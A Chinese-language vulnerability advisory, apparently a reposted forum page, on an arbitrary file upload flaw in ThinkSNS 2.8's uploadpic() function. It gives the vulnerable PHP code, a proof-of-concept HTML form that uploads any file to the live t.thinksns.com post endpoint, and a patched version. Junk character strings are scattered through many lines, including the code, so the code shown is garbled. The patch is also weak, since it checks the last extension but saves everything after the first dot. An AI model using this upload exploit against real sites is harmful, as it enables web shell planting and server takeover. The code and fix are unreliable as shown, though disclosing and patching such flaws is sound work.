ThinkSNS 2.8任意文件上传漏洞及修复

admin

  微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。

  O' G9 ]% O/ ]! R1 g
- R6 m( h' E* M\api\StatusesApi.class.php

1 O0 n% N; e* T3 ]function uploadpic(){
" {8 V" K8 U/ M% i      if( $_FILES['pic'] ){
     //执行上传操作
     $savePath =  $this->_getSaveTempPath();
$ m; A4 c+ D1 X/ }+ w8 X     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
  X* I+ R+ [' K! Y- v% d       {
5 c2 f3 b; L+ _. W8 q: {( |        $result['boolen']    = 1;
        $result['type_data'] = 'temp/'.$filename;
        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
       } else {
        $result['boolen']    = 0;
        $result['message']   = '上传失败';
2 p8 d5 s" a) j* D. [  u       }
     }else{
: E! E( E) u- y         $result['boolen']    = 0;
7 b* h; R( U+ X# W8 F& T6 T         $result['message']   = '上传失败';
     }
/ e/ M7 ^% t) L# E+ {3 ^return $result;
    }
unloadpic()方法没有对文件类型进行验证
+ a+ W& T4 p8 e2 _
可以构建表单, 选择任意文件, 提交到
/index.php?app=w3g&mod=Index&act=doPost
- b2 E2 S: ^, y; G) i
8 l3 M$ |; G4 d! p. l在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)


在登录thinksns官方微博后,
构建以下表单:
8 G0 l' J) a' d/ v& t$ h" R7 _
<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />
<textarea name="content">test</textarea>
file: <input id="file" type="file" name="pic" />
& R" ]: |+ y! C- r<input type="submit" value="Post" />
; S" U$ j- l7 r( J</form>
/ g. w7 W! _# b% X4 D, [( ]% B# c7 H去掉缩略图的前缀(small_ )
& }; b& m9 \+ t​修复方案：


. N. o& |1 Q' @  ]\api\StatusesApi.class.php
# m- G+ r  W0 q
function uploadpic(){
- m, y5 D; P6 [2 S. ^1 i     /**
1 T& u3 v# Y7 o5 W) F9 f# J: r8 ^      * 20121018 @yelo
      * 增加上传类型验证
      */
     $pathinfo = pathinfo($_FILES['pic']['name']);
     $ext = $pathinfo['extension'];
5 {; x: y$ p% {7 B) ?+ f( M $allowExts = array('jpg', 'png', 'gif', 'jpeg');
  Q. N$ _- w/ e. d: o0 H0 `
     $uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);
. S0 K9 y6 T; Q2 k2 {
5 e% e0 M7 l! \4 K8 c; \9 A     if( $uploadCondition ){
     //执行上传操作
     $savePath =  $this->_getSaveTempPath();
) k. B" I" F5 z- _* y+ S1 c     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
* W9 u( F6 r: ~    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
$ ~7 g+ `$ j+ I5 ^* s+ a; `       {
        $result['boolen']    = 1;
        $result['type_data'] = 'temp/'.$filename;
. B2 |1 H, Y+ F- {        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
       } else {
# Q) \5 {2 w- E7 l% X$ `        $result['boolen']    = 0;
        $result['message']   = '上传失败';
- p4 _+ ?  }7 r       }
! `! u$ O* w: y2 w& |     }else{
         $result['boolen']    = 0;
         $result['message']   = '上传失败';
- Y* z4 V1 i$ [; d# A# |     }
return $result;
7 n6 o* i6 @+ p" ~! ^# |    }
​

) V& _8 ~; P6 a% ]) o% ?